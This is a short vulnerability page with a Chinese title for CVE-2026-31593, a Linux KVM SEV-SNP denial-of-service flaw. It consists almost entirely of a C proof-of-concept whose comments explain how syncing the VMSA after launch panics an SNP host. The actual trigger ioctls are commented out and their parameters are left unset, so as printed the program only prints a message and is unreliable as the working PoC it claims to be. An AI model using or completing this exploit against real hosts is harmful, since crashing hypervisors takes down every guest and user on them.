CVE-2026-31593: Linux Kernel KVM SEV 拒绝服务漏洞

/* * PoC for CVE-2026-31593 * This code attempts to trigger the VMSA sync after launch on a SNP-enabled host. * Requires root access and a system supporting AMD SEV-SNP. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/kvm.h> int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_sev_launch_start start = {0}; struct kvm_sev_snp_launch_start snp_start = {0}; struct kvm_sev_launch_update_data update_data = {0}; // Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return -1; } // Create VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); return -1; } // Initialize SEV (Simplified) // In a real scenario, specific session parameters are needed here // ioctl(vm_fd, KVM_SEV_LAUNCH_START, &start); // Create VCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("KVM_CREATE_VCPU"); return -1; } // Launch SNP (Encrypt VMSA) // This step puts the VCPU into a launched state // ioctl(vm_fd, KVM_SEV_SNP_LAUNCH_START, &snp_start); // VULNERABILITY TRIGGER: // Attempting to update/sync VMSA after the vCPU is launched. // On SNP hosts, this triggers an RMP #PF and panics the host. printf("Attempting to trigger VMSA sync after launch...\n"); // update_data.address and length would need to point to the VMSA // ioctl(vm_fd, KVM_SEV_LAUNCH_UPDATE_VMSA, &update_data); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }